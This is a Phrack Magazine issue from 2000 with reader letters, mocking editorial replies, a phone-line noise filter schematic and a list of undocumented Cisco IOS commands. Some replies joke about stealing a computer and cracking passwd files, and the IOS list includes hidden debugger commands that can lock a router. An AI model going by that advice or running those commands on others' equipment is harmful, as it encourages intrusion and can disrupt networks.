Josh Birnbaum (noOrg).
|0x1d|------------------------------------------------------------------------|
i think you should know that a well known hacker by the name of "the jolly
rodger" (the one with the cook book), is extracting philes from the archives
and putting them in his cook book with out giving the nessecery credit to the
writers.
[ Does he include recipes for crayon sandwiches? Coz that'z renz's
personal recipe and he should definitely give due credit. ]
he may say that the philes were writen by him,but the fact that they
are written word for word, points to him as the cuprit.
HACK SAW
[ JIM DUGGAN? HEEEEYOH! ]
|0x1e|------------------------------------------------------------------------|
I AM IGOR. I AM BRASIL. I NOW UNDERSTEND VERY WELL OF INGLAS,.
I NEED OF THE DRIVER FOR HAKCKERS, FOR ME INVASION THE COMPUTERS FROM
THE PEOPLES. YOU UNDERSTEND??
[ I AM DISRESPECTFUL TO DIRT. CAN YOU SEE THAT I AM SERIOUS? ]
OBS:CORCEL OF TROIA.
IGOR
[ OUT OF MY WAY, ALL OF YOU. THIS IS NO PLACE FOR LOAFERS! JOIN ME OR
DIE! CAN YOU DO ANY LESS? ]
|0x1f|------------------------------------------------------------------------|
My name is Thomas and am currently still in what you would call in America as
senior high. I'm 15 years old and found this Phrack page while i was surfing
on the net.
[ Well I see you've done your homework. Nice work Thomas! ]
I've always wanted to become involved in the art of hacking and i really don't
know how to really start i've had my computer for about 2 and some years and
catch on to things preety well and was wondering where to go from here.
[ Let'z plug that into the career calculator and see what she comes up
with..... Ok.. Yes.. Let'z see here...
- 30.98% Help desk for regional fast food new hire processing office
- 30.56% Junior copier repair engineer
- 15.40% NO CAREER FOUND
- 12.45% Phone support engineer for the outdoor furniture industry
- 10.61% "Associate"
Hrm. Lookz bleak. ]
All i wanted to ask you if you can help me out by telling me how i can start
out,i don't intend to reach a master level even though it is an aspiration of
mine.
[ Whoa Tommy. Rome wasn't built in a day, and neither are superhackers.
Start small, keep at it, and take your vitamins and say your prayers
like a good little Hulkamaniac. ]
I'm currently using my brothers computer because it's a shit load faster
than mine and would appreciate it if you could write back and maybe give me
some good insight on how i can start out which probably would involve a lot of
reading and learning more about programing.
[ My first bit of advice is for you to *definitely* steal your brother's
computer. Survival of the fittest my boy! And besides, one of the
many traits of a superhacker is how fast he can run crackerjack on passwd
files (and yes this implies you should be running DOS -- Unix is a fad).
My second bit of advice is to read as much as possible. Anything By
the late W. Richard Stevens. Check out http://www.securityfocus.com.
Keep up to date with current eventz in the security world. Try and make
friends in the scene.
My third bit of advice is to give up at the first sign of adversity or
difficulty. Life rewards cowards, Thomas. Never forget that
(persistence pays off in the long run but laziness pays off right
away). ]
PS:thankyou for taking the time out to read my message
[ The pleasure was all mine, Son. ]
Thomas
|0x20|------------------------------------------------------------------------|
my ingles Sux....
[ It'z ok, so doez my Spanish. ]
it will be that you source of the accountant of its page could me seder codi?
[ "SOMETHING FUNNY AND DISJOINTED IN SPANISH HERE" ]
Claudio
|0x21|------------------------------------------------------------------------|
Hi Phrack Staff.
[ Hi Emil. ]
Before I start pleading with you i'd just like to say that you have the best
E-Zine on the Internet.
[ Thanks :). ]
I've followed your magazine for about 2 years now. But, as i searched your
archive i've noticed that now you have almost no sections on things that go
boom (Anarchy etc) anymore.
[ Our explosives consultant left for a higher paying job :(. ]
I have a vast knowledge of that subject and how to perform things like
pyrotechnics safely. I do not know much about encoding (public key lock, i
think?) and hacking. But as i said, i am ELITE in pyrotechnics.
[ Performing pyrotechnics safely? That's like getting drunk without loaded
guns nearby or sex with your cousin.. It may seem like a fun idea, but
at the end of the day it'z just kind of a letdown. ]
Soooo, please could I submit to Phrack on pyrotechnics and things that go boom.
[ Like an 808 trigger on a bass drum? ]
I might need some help on encoding, if its really necessery. I am prepared to
give up time for Phrack and it would be great if i could submit.
[ Hrm. I don't think we have any openingz at the moment.. Tell you what
you get me a resume, and I PROMISE to call you when something opens up. ]
Maddoc99
|0x22|------------------------------------------------------------------------|
Hello, friends, I want to congratulate you and tell you gon on, your
stuff is the best. I need some direccions of www where I can find information
about phreaking in spanish, so I can read it more easily. Thanks you very
much, continue with your job!!
romadryn
[ http://babelfish.altavista.digital.com/. You're on your own past that,
hombre. ]
|0x23|------------------------------------------------------------------------|
I would just like to say that I have been reading phrack for about 2 years
and the current issue has some really good technical articles, better than
most others.
[ Well thank you very much! ]
Thanks for all the shit you put up with, you guys are really funny too,
loopback is better than comedy central.
Anonymous
[ Awe, get out of here! Even better than `The Man Show`? (Which I'm
certain will win an Emmy soon.) ]
|0x24|------------------------------------------------------------------------|
hola .........disculpa que sea breve...pero tengo tanto sueo...y es
tan tarde.....como las 4am me llamo gabriel y vivo en panama...aqui la gente
ingora que es un hacker.... bueno deseo saber como puedo ser un hacker....
soy un prinipiante..... lo primero que deseo saber es como puedo hacer para
conseguir alguna cccclave de acceso a internet dentro de panama.....
si me pueden ayudar o no contestenme porfavor......descuiden yo soy una
persona de confiar...soy muy leal ...lo juro..... bueno me voy a dormir.....
choao y gracias anticipadamente........
Gabriel
[ Ok, let'z run this baby through a translator (http://translator.go.com):
hello........disculpa that is brief... but I have so much suexf1o...
and is so late.....como 4am I am called Gabriel and alive in Panama...
aqui the ingora people who are to hacker.... good desire to know like
I can be to hacker.... I am a prinipiante..... first that desire to
know is since I can make to obtain some cccclave of access to
Internet within Panama..... if they can help me or contestenme
porfavor good right of perpetual ownership does not.....descuiden I
I am a person to trust... I am very loyal... it..... I am going
away to early sleep..... choao and thanks........
...It's still unreadable... *sigh*. DON'T YOU PEOPLE GET SESAME STREET
DOWN THERE!? Err... ?DON'T USTED CONSIGUE LA CALLE DEL SISAMO ABAJO
ALLM!? ]
|0x25|------------------------------------------------------------------------|
I was informed that certain clans have starcraft programs that enable users to
purge others in a multi-player game. Are you familiar with this and if so do
you know where I can evaluate such programs.
Matt
[ Hey, I have an idea, it's called HARD WORK AND HONEST SPORTSMANSHIP.
Look into it dork! ]
|0x26|------------------------------------------------------------------------|
Well i stumbled onto this web-site, i was looking into alternative reading.
Let me say this is by far the best. Dark Secrets of the underground is good,
but you have collected all your issues in an easy to read format.
[ Yah, ASCII is pretty cool, huh? ]
Anyway i don't want to sound like some Asshole trying to kiss an ass,
[ Whut lovely imagery you've conjured up. ]
and if i did then Fuck you.
[ Hey eat a dick, count fagula. ]
When are you guys publishing more issues, 55 is coming soon i know...
[ Phrack 55? What year do you think it is? ]
but what of the rest.
[ Um... If issue "55" is coming 'soon' then logic dictates 'the rest'
will arrive 'later than soon.' Good luck to you and don't chew gum when
you walk. ]
It is some good shit, let me tell you. By the way where are you guys located?
State that is.
[ It usually variez from statez of confusion to statez of depression...
Sometimez though we find ourselvez in statez of high hilarity. Dependz
on the time of the year, ya know? ]
Ash B<O>M
|0x27|------------------------------------------------------------------------|
Hello,
I have not the tiniest idea of who you are,
[ Now we have common ground! ]
but yet I ask for your help.
[ Now you've lost me. ]
I am interested in learning the fine art of obtaining information via
cyberspace (hacking) sounds like a Jeffrey Dahmer hobby to me.
[ What in the Christ are you talking about? ]
Obviously you are not an idiot so this is why I ask this! Can someone or
somebody
[ Someone or somebody? ]
recommend how to study the art of the Jeffrey Dahmer hobby (please do not give
me a I.Q -1 reply)
[ You can't be serious. ]
I am serious!
[ Oh. ]
There is alot of talent out here and I want to find a mentor.
[ Ok. Let me get this straight. You're looking to me, Phrack Magazine
editor and fun-loving happy-fun guy route, to find you a
gay-massmurdering-cannibal mentor? ]
Thank you, and I think the KKK are a bunch of f...... schnooks!!!!!!!!!!!!!!!
[ Of course, but eating people, that's ok rite? ]
P.S- In no way am I associated with any law enforcement agency
[ Gosh, ya think? ]
|0x28|------------------------------------------------------------------------|
I need help digging up as much information on a guy who is having an affair
with the wife of a friend of mine - it's tearing apart his 18 year marriage
and screwing up his two young kids.
[ Can't you just ask her? ]
I'd like someone to tell me where and/or how to get massive info and then how
to make life "interesting" for this marriage wrecker -
[ Well, have you tried taking him on a "mystery vacation"? You know,
get all the boyz together, jump in the car, and not tell him where you're
going (make it real exotic like Yemen or Oman)! ]
However you guys do that neat stuff (e-mail bombs, trojans, etc)
[ Oh! *That* neat stuff. We just subcontract it all out. ]
I would appreciate ANYTHING you can do for me to help my friend.
[ http://www.privat.katedral.se/~nv96olli/java.htm ]
Rich
|0x29|------------------------------------------------------------------------|
To: The Sultan of Love,
Your humor leaves me jaw agape, sides splitting and a newfound demand for
Depends Brand Adult Diapers.
[ Grody. ]
The world needs more of you.
[ Well, I'm kinda partial to instead of *more* of me (ala multiplicity)
I think what the World needz, iz a GIANT me (ala The Amazing Colossal
Man). I dunno, I think maybe a 50 or 60 foot me would get the job
done, and get it done right. ]
I didn't see too many letters in Phrack 55 from teenage chicks offering you
full juristiction of their bodies as tokens of their appreciation for your
overall kickassedness.
[ Yeah I noticed that too... I'm hoping Phrack will be banned as some
sort of intense aphrodisiac. I'm putting perfume samples in this one
and a section entitle "Route's people". If this doesn't do it, I throw
up my hands ]
Maybe you have a policy of keeping those letters out of the sight of the
general public for some reason that evades me. Policy, or not, please let
me take this opportunity to say, baby, if you want it, it's all in me.
[ Ahem. Phrack Readership. I would just like to take this opportunity
to say: HOOOOOOLY SHIT! ONLY THREE AND HALF YEARZ, NINE ISSUEZ AND IT
FINALLY WORKED! I hope you can hang 'cause baby, I gotz th' stamina! ]
Shagging Men For Their Brain Power Since 1996,
Suzy McAssmunch
[ Assmunch as I want? ]
|0x2a|------------------------------------------------------------------------|
I need some help and can't trust friends anymore. Refs would be great. My
brother told my landlord some lies and now I'm getting evicted. I have to
stay with some relatives now but my fax is out of paper and is a special
model. I can't take this trip without the right paper. Can you help?
anonymous
[ *speechless*
(someone off in the background): "Hey route... What's wrong? Dumb
got your tounge?" ]
|0x2b|------------------------------------------------------------------------|
I d like some info about video gambling machines..
[ Well, they're probably some of the worst odds you'll get. ]
could you tell me where I could find some? thanx!
[ Las Vegas, NV, Tahoe, NV, Any Indian reservation, Atlantic City, NJ ]
Anomymous
|0x2c|------------------------------------------------------------------------|
Hi I'm new to this hacking an not even sure u are the right person to
ask but I was chatting to someone in a chatroom recently and we got into
an argument about something or other...next thing I know my pc crashes
an refuses to re-boot ..closer inspection reveals the motherboard has
fried....I can only assume the aformentiond person was the cause of
this...so how the hell did they do it???....is there anyway I can guard
against this kind of attack??..
Yours worried,
Ben
[ Consider yourself lucky you got off that easy. This one time I pissed
off an online doctor in a chat room. At first I only had a mild fever,
but the next thing I know he's having me do my own amputation... Two
legs and an arm into it, I realize that maybe he's hacking me! But by
then it was too late! ]
|0x2d|------------------------------------------------------------------------|
Hello,
I have this person who keeps pissing me off and going out of his/her
way to do it every time I go into various chat rooms. I could change my
screen name I suppose, but I'm not going to do that. I will not give in.
[ Don't do it man! Stand your ground... The line must be drawn HERE! ]
Once an AOL tech told me that there is a way to bump people like that off
line, but of course he could not, would not, tell me how. I can't say as
I blame him. However since you guys are into things like this
[ I try to keep myself thoroughly insulated from America Online (not to
be confused with AntiOnline -- they are a whole different kind of dumb).
To do this I keep what I call "the three layers of AOL abstraction".
That means I don't use America Online, my mom doesn't use America Online,
and not even my grandma uses America Online. I'm not 'into things like
this'. ]
could you PLEASE tell me how I can go about doing such a thing...
should this person start up with me again. I had to put up with bullies
in school. I refuse to be pushed around in the cyber world.
[ Pent-up passive-aggressive dork alert! Whoop! Whoop! ]
And NO i do not want to tell AOL...that would make me out to be a tattle
tell, and that I'm not.
[ Whoop! Whoop! Boy, you're really lighting up this alarm here! ]
I would appreciate would make me out to be a tattle tell, and that I'm not.
[ Yah, I heard you the first time. ]
I would appreciate any help that you could give me.
Thank you;
HDAWG
[ Well DAWG, it seems to me like you have some serious childhood issues.
The only advice I can offer you now is to get lots of therapy, or maybe
a swift kick to the nuts for being such a wussy. ]
|0x2e|------------------------------------------------------------------------|
I'm not sure if I am writting to the right person or if yall can even help.
I was wondering if you can tell me how i can clear/clean up my credit report.
Anonymous
[ Shure. PAY YOUR FUCKING BILLS ON TIME! ]
|0x2f|------------------------------------------------------------------------|
Fuck you and your ignorant attempts at killing me. As darkness falls upon
us it is time for revenge. Lock up your windows and doors...I'm coming. I who
am Indigo. You will know only my name and not my face, for I will come as a
theif in the night. Beware for tonight is the night of reconcile, beware!
Your Foe;
Indigo
[ The night I received this letter I had a turkey pot pie for dinner.
I then watched some TV. Fairly boring evening except when I went down
to the dryer to get my laundry, I noticed a sock was missing...
Coincidence... OR NIGHT-THIEF! ]
|0x30|------------------------------------------------------------------------|
In this message you will not see any "welcomes", "good words about you",
and "asks". But you will see "TRUTH" and only this!
[ How about a "you're good at puzzles", or a "route is the best colorer in
his ward - he alwayz stays in the lines". ]
You think that you are good because you are hackers?
[ No, I think I'm good becuase of my daily affirmations. And you can't
take those away from me. ]
Well really you are nothing than lamers who asks stupid questions.
[ Hey! That'z not nice! I've worked hard, and God Fucking Damn you, I'm
good enough, smart enough, and people fucking like me! ]
Yes I know that some budies is very stupid, I understand this.
[ NOT MY BUDDIES MAN! They're the best buddies a guy could ask for! I'm
talking about you Stan! And you Gilgamesh! And of course you Little
Omar! ]
But I don't understand why you flame everybody who post to you.
[ Ya know, it just kinda workz out that way. You think I *plan* these
things? ]
There is some newbies who's really intelligent, and this is important to give
him info about what they want. Is this so hard?
In the answers like: "Will you help me? [ In all likelihood, no.]"
[ PAHAHAHAHAHAHAH. Man. That was me? Shit I'm good! ]
you proof that you don't know answer!!!
[ Man I can't fool you! I couldn't fool you on the foolingest day of my
life even if I had an electrified fooling machine (which I do have by
the way). ]
You magazine is one the worst of all I've seen.
[ Have you seen "Highlights"? (*shutter*) ]
Why do you think you don't have cash from write this magz,
[ Maybe because Phrack Magazine iz, waz, and alwayz will be FREE OF
CHARGE. ]
I'm sure that if 2600 may be publishing you mag surelly can be published too?
Answer: You don't publish it because nobody will buy him.
[ Question: Who am I selling? Is he ugly and dumb? Is it Gary Glitter? ]
"Blessed is he who expects nothing, for he shall not be disappointed."
[ "Blah Blah Blah". ]
Anonymous english as second (or possibly third) language guy
|0x31|------------------------------------------------------------------------|
hello,
at the risk of being flamed in your next issue i felt compelled to write.
[ UH-OH! ]
reading your latest issue's loopback i noticed that several innocent inquiries
were being blasted by the editor.
[ You noticed that eh? How delightfully intuitive! ]
While reading these was funny,
[ YES! ]
i felt a bit disheartened.
[ DAMN. ]
Isn't it a major tenant of hacking to promote freedom of information?
[ Christ. I am so sick of people hiding behind the /tenet/ of "Information
wants to be free, man!". Mainly because 99% of the people who bleat this
platitude like it'z going out of style really don't understand what
they're saying. I will say good day to you Fat Tony. ]
Responding to inquiries about "how do i hack?" with "piss off peon" or
whatever witty equivalent your publication provided,
[ Geeze. I like to think I'm a hair more clever than `piss off peon`... ]
i felt was in direct contrast to the hacker ethic. how is the tradition ever
going to continue if no one is willing to nurture the hackers of the future?
[ Nurture? Shure. Change diapers? No. ]
is Phrack's message that accomplished hackers should horde their skills and
knowledge to the detriment of future hackers? Maybe you should provide
newbies with avenues to learning instead of flaming them with "i'm cooler
than thou" messages. perhaps part of the hacker communities bad image is
their aloofness, their secrecy, and their condescention. Chew on that
Phrack.
[ I'd answer that but all I want to say is: "Job Security". ]
nitefall
|0x32|------------------------------------------------------------------------|
Great e-zine, has a lot of good stuff in it.
[ Well thankz govern'r! ]
Outta be required reading.
[ I'm working on a proposal with the Board of Education out here to get
Phrack in every classroom. I *think* it's going to replace the old
issues of '3-2-1 Contact' in the library. I've got a similar bid in
with PBS to get a Phrack T.V. show to replace old episodes of K.I.D.S.
Incorporated. ]
Just a couple of stupid questions: how does one learn about network security
and protecting a LAN?
[ Beatz the hell out of me. School? ]
More importantly, what's the best way to go about learning how to compromise
them?
[ Do the exact opposite of what you learned about protecting them. ]
Mike
|0x33|------------------------------------------------------------------------|
It's been a LOOONG time since I parsed your 'zine. It sure isn't the same,
but it's as good in it's own right. Unfortunately, since I was sipping my
coffee while perusing the Loopback file, I must submit the following invoice:
1 Roll Bounty Paper Towels .99
1 Sample Bottle Windex .99
10 Minutes cleaning screen and
draining keyboard .99
Subtotal 2.97
Credit for Causing Extreme laughter
-2.99
-----
Total -.02
..Just thought I'd send my own two-cents'
Great stuff. Nine months is NOT too long to wait.
thanks.
m
[ Cool thankz man! I'll add those two cents to our operating costs fund!
I think that'll give us enough take this baby commercial! ]
|EOF|-------------------------------------------------------------------------|
--------------------------------------------------------------------------------
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x03[0x10]
|----------------------------- L I N E N O I S E -----------------------------|
|-----------------------------------------------------------------------------|
|------------------------------- phrack staff --------------------------------|
Phrack Linenoise is a hodge-podge. Part virtual Mr. Bobo'z table, part
Leftorium; Linenoise is where articles that can't quit make it end up.
Some of the various reasons things end up here:
- Addendum and Errata
There is a section in Linenoise specifically for corrections and additions
to previous articles. Feedback to articles, however, is alwayz placed in the
savory loopback section.
- Too short
Articles that are just a bit too short to stand on their own, but still
contain worthwhile information can end up here.
- Niche audience
The articles that cater to a narrow group of readerz might also end up here.
|0x01|------------------------------------------------------------------------|
|------------ data connections on old electromechanical exchanges ------------|
|TOKATA & Vladi <lv_tokata@yahoo.com>-----------------------------------------|
In many poor countries (such as Bulgaria) there are still a lot of old
electromechanical switches - SxS (step-by-step), Panel and Crossbar. Maybe
some Phrack readers from these countries download the Phrack releases through
these switches. So, I think it is useless to explain the quality of such
lines. They are damned noisy, mf!
So, with the help of a friend, we developed a new device, a simple one at that,
which makes a better data connection. It increases the quality some 30 - 40%!
We have successfully tested it with many modems (from 2400bps to 33600bps):
DataLink, SunShine, UMC, Rockwell, US Robotics... It _will_ work!
Notes:
- This device *only* works on 60V switches. AFAIK, those are the only SxS
switches around.
- List of exchanges (used in Bulgaria), on which this device works:
SxS --> A-29 (Siemens), F-61 (maybe Siemens too), ATS-54 (Russian)
Xbar --> KRS 103/203 (bulgarian), ATSK - 50 (russian)
For Russian people it's quite easy, because we use almost the exact same
exchanges (such as ATS-54 and ATSK-50).
- The device DON'T work on these exchanges:
- ESK - 10000E (also known as Crosspoint, made by Siemens)
- "Kvant" (Russian)
- EWSD, AXE, MT, ESS (and all the digital exchanges)
The schematic is very simple:
2
__o
/ S
o----/ o-----|
| 1 |
o----|--------------|-------o
| |
| |
o-----------| |-------------o
C
K -->
C --> capacitor. Use a 1uF one (maximum)! You can put a smaller one,
but _NOT_ put more than 1uF!!!
S --> DPST switch. "1" is position 1, and "2" is position 2.
DPST
On the schematic you _must_ :-) see the two phone wires. They have the
capacitor and the switched connected to them.
So, what is the use of the DPST switch?
When you begin to dial the switch must be moved to (1). That will shunt the
capacitor, otherwise you would not be able to dial through the phone line.
When the connection is estabilished - move the switch to (2) in order to join
the capacitor. Gotit?
Theory of operation
All the noise on the old switches springs up from the electromechanical
switching process. Our device (the capacitor) is used as a filter of low
frequencies (including nasty brooms, which really fuck up data connections).
- TOKATA & Vladi <lv_tokata@yahoo.com>
|0x02|------------------------------------------------------------------------|
|------------------------- Undocumented IOS Commands -------------------------|
|krnl-------------------------------------------------------------------------|
Introduction
Here are some commands in cisco systems' Internetworking Operating System
which are hidden from users at any privilege level. Some are informative,
while others are rather mundane. Some will even lock the router if invoked
incorrectly. This list is a subset of all hidden commands. Descriptions
of commands are included where possible. All were tested on a box running
12.0-6S.
exec commands
@clear profile (clear cpu profiling)
@debug ip ospf monitor
@debug oir (debug online insertion and removal)
@debug par mo (debug parser modes)
@debug sanity (debug buffer pool sanity)
@debug subsys (debug discrete subsystems)
@debug buffer (additional buffer debugging)
@gdb kernel
@gdb examine pid
@gdb debug pid
@if-console [<slot>] [console|debug]
@profile <start> <stop> <granularity>.
@sh chunk (show chunks of memory allocated to processes)
@sh chunk summ (show chunk allocation summary)
@sh idb (shows interface database)
@sh in stats (gives you switching path output per interface)
@sh ip ospf maxage-list
@sh ip ospf delete-list
@sh ip ospf statistic
@sh ip ospf bad-checksum
@sh ip ospf event
@sh isis timers
@sh isis tree IS-IS link state database AVL tree
@sh isis tree level-2
@sh isis private
@sh profile [detail|terse] (show cpu profiling)
@sh parser modes (shows current process access-tree.)
@sh parser unresolv (shows unresolved links in access-tree)
@sh list
@sh list none
@sh region (shows image layout)
@sh region <address> (shows image layout at given address)
@sh timers (show timers for timer command in config mode)
@sh int <INT> switching (shows switching path information for the interface)
@sh proc all-events (shows all process events)
@sh sum (show current stored image checksum)
@test transmit (test the transmission of L2 frames)
configuration mode commands
@boot system rom
@boot module
@exception-slave dump X.X.X.X
@exception-slave protocol tftp
@exception-slave corefile
@ip slow-convergence
@ip tftp boot-interface
@loopback diag
@loopback dec (at dec chip)
@loopback test
@loopback micro-linear
@loopback motorola
@scheduler max-task-time 200 (last val in milliseconds)
@scheduler heapcheck process (memory validation.. after proc)
@scheduler heapcheck poll (memory valid after some poll)
@scheduler run-degraded (perhaps in a failure mode?)
@service internal
@service slave-coredump
@service log backtrace (provides traceback with every logging instance)
@tunnel carry-security
in bgp config:
@neighbor ctalkb-out filter-as 100 d
% filter-as is an obsolete subcommand, use filter-list instead
in router isis config:
@partition-avoidance
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
@clear profile
clears out the current CPU profiling configuration.
@debug buffer
as with buffer sanity checking, no debugging information on lightly
loaded box.
ctalkb#debug buffer
Additional buffer checking debugging is on
@debug ip ospf monitor
provides information on the status of the ospf process in the debugging
logs.
ctalkb#debug ip ospf monitor
OSPF spf monitoring debugging is on
2w3d: OSPF: Syncing Routing table with OSPF Database
-Traceback= 6064B628 603B6D2C 603B6D18
2w3d: OSPF: Completed Syncing and runtime is 4 msec
-Traceback= 6064B65C 603B6D2C 603B6D18
2w3d: OSPF: Start redist-scanning
-Traceback= 6064AC20 6062B430 603B6D2C 603B6D18
2w3d: OSPF: Scan for both redistribution and translation
-Traceback= 6064AC60 6062B430 603B6D2C 603B6D18
2w3d: OSPF: End scanning, Elapsed time 0ms
-Traceback= 6064B13C 6062B430 603B6D2C 603B6D18
2w3d: OSPF: Syncing Routing table with OSPF Database
-Traceback= 6064B628 603B6D2C 603B6D18
ctalkb#debug oir
Online Insertion and Removal debugging is on
2w3d: OIR: Process woke, 'Event', stall=2, usec=0xB6835B36
-Traceback= 6040967C 603B6D2C 603B6D18
2w3d: OIR: Shutdown pulled interface for Serial5/0
-Traceback= 600E30C4 60409204 604096C8 603B6D2C 603B6D18
2w3d: %OIR-6-REMCARD: Card removed from slot 5, interfaces disabled
-Traceback= 60409748 603B6D2C 603B6D18
2w3d: OIR: Remove hwidbs for slot 5
-Traceback= 60409368 60409750 603B6D2C 603B6D18
2w3d: OIR: Process woke, 'Event(max not running)', stall=3,
usec=0xD0115C9E
-Traceback= 6040967C 603B6D2C 603B6D18
2w3d: OIR: Process woke, 'Timer(max running)', stall=3, usec=0xDDBB56D6
-Traceback= 6040967C 603B6D2C 603B6D18
2w3d: OIR: (Re)Init card 5, retry_count=3
-Traceback= 60409894 603B6D2C 603B6D18
2w3d: %OIR-6-INSCARD: Card inserted in slot 5, interfaces administratively
shut down
-Traceback= 604098BC 603B6D2C 603B6D18
@debug par mo (debug parser modes)
this is used to show what is happening at the parser at specific
instances. it will show you a basic walkthrough of the lookups needed
to process the cli commands
ctalkb#debug par mo
Parser mode debugging is on
00:54:40: Look up of parser mode 'controller' succeeded
00:54:40: Look up of parser mode 'route-map' succeeded
@debug sanity
couldn't get any diagnostic information on this. router is not
heavily loaded so there isn't much buffer churn and burn to
contend with.
ctalkb#debug sanity
Buffer pool sanity debugging is on
@debug subsys
subsystem information indicates a code segment and its version. when
i had debugging on, i tried reloading the system microcode. this did
not cause any interesting debugging information.
ctalkb#debug sub
Subsystem debugging is on
@debug oir
extended online insertion and removal debugging information.
@gdb kernel
i couldn't get this to do much besides render the router inoperable.
there seems to be no interface comparable to the stock gnu debugger.
perhaps there are additional parameters that i am missing. this applies
to all of the debugger subcommands found.
ctalkb#gdb ker
Kernel GDB allowed on console terminal only
ctalkb#gdb ex 91
||||(lock up)
@gdb debug pid
ctalkb#
ctalkb#gdb debug 91
Can't debug your own process
ctalkb#
@if-console [<slot>] [console|debug]
no output since i don't have a viper router or 12XXX. however,
this is one of the most interesting hidden commands available for the
cisco. it allows you to get on a card console (i.e. per individual slot
instead of per individual chassis) and print out extended diagnostic
and debugging information on the specific card. you enter the card
in unpriv mode and need to enable before seeing all of the commands.
@profile <start> <stop> <granularity>.
you can setup cpu profiling in the exec mode with the
profile command. process profiling allows you to find which segment
of code is perhaps hogging the CPU.. what you really need to get use
out of this feature is a symbol table so you can pull the location of
the appropriate segment of code. the segment is defined by the start
and stop values given to the profile command. the granularity specifier
allows you to get down to single instruction level.
the cpu has its own internal timer that is incremented regardless
of whether the desired segment of code is executed. when the desired
segment of code is executed, a per-profile counter is incremented.
comparison of this counter with the overall system timer allows you to
get some handle on how much of the cpu the specific segment is using.
ctalkb#profile ?
task
start
stop
hogs
<0-FFFFFFFF>
@show chunk (show chunks of memory allocated to processes)
there is the traditional malloc/free memory management in place
on the cisco. there is also chunk allocation. the main benefit
of chunk allocation over its predecessor is that memory overhead
is only paid by the large chunk (which is then carved up into
smaller pieces) instead of by each individual malloced block.
ctalkb#sh chunk
Chunk Manager:
142 chunks created, 1 chunks destroyed
46 siblings created, 0 siblings trimmed
Chunk element Block Maximum Element Element Total
cfgsize Ohead size element inuse freed Ohead Name
16 0 65532 3270 717 2553 8 List Elements
0x61525688
52 0 65532 1168 0 1168 0 List Headers
0x61535684
16 0 65532 3270 0 3270 8 messages 0x61550068
@show chunk summ
summary listing of allocated chunks. shows you big chunk size, the
number of siblings divided up within that chunk space as well as
the overhead taken by the chunk.
ctalkb#sh chunk sum
Chunk Manager:
142 chunks created, 1 chunks destroyed
46 siblings created, 0 siblings trimmed
Element Sibling size Total Total Total Inuse Ovrhd Chunk
Flag size(b) --range(b)-- Siblg alloc Free HWM (b) name
D 16 253- 752 0 3270 2553 724 8 ListElements
D 52 1003- 1502 0 1168 1168 0 0 List Headers
D 16 253- 752 0 3270 3270 21 8 messages
D 8 253- 752 0 5450 3974 1476 8 Reg Function
8
@sh idb
This command shows the hardware and software interface databases.
this is cisco's way of keeping track of how many interfaces are present
on the system.. includes hardware and software interfaces (physical,
subinterfaces etc). there is a software limit of 1024 i believe in
ios 11 and 2048 in ios 12. this is a global limit for the router.
output:
ctalkb#sh idb
19 SW IDBs allocated (2296 bytes each)
9 HW IDBs allocated (4008 bytes each)
HWIDB#1 1 FastEthernet0/0 (Ether)
HWIDB#2 2 Serial2/0:0 (Serial)
HWIDB#3 3 Ethernet3/0 (Ether)
HWIDB#4 4 Ethernet3/1 (Ether)
HWIDB#5 5 Ethernet3/2 (Ether)
HWIDB#6 6 Ethernet3/3 (Ether)
HWIDB#7 7 Serial4/0 (Serial)
HWIDB#8 8 Serial5/0 (Serial)
HWIDB#9 9 Loopback0
@sh in stats (gives you switching path output per interface)
Ethernet3/0
Switching path Pkts In Chars In Pkts Out Chars Out
Processor 786433 594121827 556812 177400752
Route cache 107469 8910774 107451 8925784
Total 893902 603032601 664263 186326536
@sh int e3/0 switching
goes over some of the basic processes and the data that they are
processing. shows what switching paths were used for the specific
data counted. basic processes == IP and routing processes. others
are lumped into the default category.
ctalkb#sh int e3/0 switching
Ethernet3/0
Throttle count 0
Drops RP 0 SP 0
SPD Flushes Fast 0 SSE 0
SPD Aggress Fast 0
SPD Priority Inputs 972 Drops 0
Protocol Path Pkts In Chars In Pkts Out Chars Out
Other Process 0 0 167 10020
Cache misses 0
Fast 0 0 0 0
Auton/SSE 0 0 0 0
IP Process 4556 282352 3733 541124
Cache misses 0
@sh ip ospf maxage-list
don't have ospf running.. would seem that this command shows you
the current value of the max-lsa age. there is some periodic refresh
which needs to be accounted for.
ctalkb#sh ip ospf max
AS System N
Maxage delete timer due in NEVER
@sh ip ospf delete-list
this command shows you the lsas which have been deleted from
consideration. as i don't have ospf running, i can't ascertain whether
this is lsas which were taken out of consideration by the SPF algorithm
or by other means.
ctalkb#sh ip ospf delet
AS System N
Area BACKBONE(0)
ROUTER and NETWORK LSDB delete list
Dest: 172.16.0.1, Type: 0, Metric: 1, ADV RTR: 172.16.0.1
Path:
gateway 172.16.0.1, interface Loopback0
SUMMARY NET and ASBR LSDB delete list
TYPE-7 EXTERNAL LSDB delete list
EXTERNAL LSDB delete list
@sh ip ospf statistic
this is a really handy command because it gives you time averages of
different portions of the ospf process. this is useful in that it further
lets you pin down IGP convergence times on your network as well as to
isolate the areas which are causing the process to chug.
ctalkb#sh ip ospf stat
Area 0: SPF algorithm executed 1 times
SPF calculation time
Delta T Intra D-Intra Summ D-Summ Ext D-Ext Total Reason
2w3d 0 0 0 0 0 0 0 R,
Avg. and Accumulated time of the last 250 process_ase()
Avg. Accumulated
ASBR-lookup 0, 0
Forw-Addr-lookup 0, 0
compare metric 0, 0
... (more)
@sh ip ospf bad-checksum
shows LSAs which have failed the checksum.
not sure if this is a count or actual event times since i didn't
have ospf functioning.
@sh ip ospf event
provides a history lists of subprocess function execution.. useful so that
the operator can understand a bit more about the execution flow
ctalkb#sh ip ospf eve
1 54700 Generic: ospf_redist_callback 0x618B36A4
2 114716 Generic: ospf_redist_callback 0x618B36A4
3 174736 Generic: ospf_redist_callback 0x618B36A4
4 234756 Generic: ospf_redist_callback 0x618B36A4
5 294772 Generic: ospf_redist_callback 0x618B36A4
6 320796 Generic: ospf_build_ex_lsa 0xC658FF00
7 320796 Generic: ospf_build_ex_lsa 0xAC100000
8 320796 Generic: ospf_build_ex_lsa 0xD16F5C00
@sh isis timers
useful in that it provides a brief overview of execution flow
in the isis process. shows you frequency of things like l1/l2 hello
etc.
ctalkb#sh isis timers
Hello Process
Expiration Type
| 0.856 (Parent)
| 0.856 L2 Hello (Ethernet3/0)
| 6.352 L1 Hello (Ethernet3/0)
| 6.940 Adjacency
Update Process
